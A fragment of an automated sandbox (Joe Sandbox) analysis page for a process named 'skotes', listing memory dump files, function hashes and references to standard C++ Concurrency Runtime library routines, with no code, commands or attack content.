Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: c230a8a4309ee656a18514dab41152ce4ec19abfac539c07c39133ad35a9d896
Instruction ID: 39147e694de2f790403cd6bff1fad0980df8ce318b3a3e2617321b7fd081c833
Opcode Fuzzy Hash: c230a8a4309ee656a18514dab41152ce4ec19abfac539c07c39133ad35a9d896
Instruction Fuzzy Hash: 57B09232A238344BCA612B14BC5869DBB98DA80B1130A01A6D801AB2248E105E824BD8

Function 04D40BC3 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3286393593.0000000004D40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70867168af539b53551e1b40d5827f525a9bcef85c224036041de8f59320b60e
Instruction ID: ceb3319aa4344dd32b0564846e0d85c867b9a2c7c96d4486ab9a2327b8d35ee5
Opcode Fuzzy Hash: 70867168af539b53551e1b40d5827f525a9bcef85c224036041de8f59320b60e
Instruction Fuzzy Hash: 8A21ABFB34D111FE714786456B24AF6A76EE2D73303309426FA87D5902F388AA8E7031

Function 00B9DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f36063ba5801b1e121eaf478006841f0c63d737719a0c5b715c03d931bc47f5a
Instruction ID: fdc9a86d9dd36ead3afc0fe22f63c069ab21e0bf2eb82d2179a4a76b99a07d6c
Opcode Fuzzy Hash: f36063ba5801b1e121eaf478006841f0c63d737719a0c5b715c03d931bc47f5a
Instruction Fuzzy Hash: 48518AB2E016068BDF25CF5AD8C57AAB7F1FB58304F2485BAD405EB291D774A940CB90

Function 00B9F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B9F2BB

Strings

pEvents, xrefs: 00B9F2B3

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: b0f02195fdc8e3eead7a84d97cb4bf079c72af510f44c2c51211b5970da22420
Instruction ID: c78270412d1b1cdb8f1353428975fcdb654427fb5301644440123b16ad4c7411
Opcode Fuzzy Hash: b0f02195fdc8e3eead7a84d97cb4bf079c72af510f44c2c51211b5970da22420
Instruction Fuzzy Hash: 9A814931D0021A9BCF25DFA8C981BBEB7F5EF15324F2444B9E411E7282DB74E945CA91

Function 00BB26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00BB26E3

Part of subcall function 00BB24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00BB2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00BB2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00BB275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00BB27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00BB27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00BB2846

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 40e42fdf5f9fdc49bbf691a90ceda1776e6f698aa07535de468b5ddf1e9fef05
Instruction ID: df17eecb2aceb5dcd46e47727cdbe9c3da19854ec56b68ccf3af90211714650e
Opcode Fuzzy Hash: 40e42fdf5f9fdc49bbf691a90ceda1776e6f698aa07535de468b5ddf1e9fef05
Instruction Fuzzy Hash: 44818C34904249ABDF169F54C991BFE7BF2EF56304F0400E8EC816B262CBB68D15DB62

Function 00BB2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00BB2982

Part of subcall function 00BB24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00BB29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00BB29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00BB29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00BB2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00BB2AD8

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 6afe8b522a8ca7e0552c452e1f10746722b9c51c778e15e2c67f6c9f7fe8fd72
Instruction ID: 3289512180d25eb53fe36d85d580c9d3a05af906004e79e1db3228626e1d05a2
Opcode Fuzzy Hash: 6afe8b522a8ca7e0552c452e1f10746722b9c51c778e15e2c67f6c9f7fe8fd72
Instruction Fuzzy Hash: DF715830900249ABDF259F94C991AFEBBF6EF55304F0440D8EC416B262CBB69D16DB61

Function 00BA2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00BA2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00BA28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00BA2913

Part of subcall function 00BA07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00BA080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00BA2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00BA29DB

Part of subcall function 00BA07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00BA07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00BA29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00BA2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00BA2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00BA2A7E

Memory Dump Source

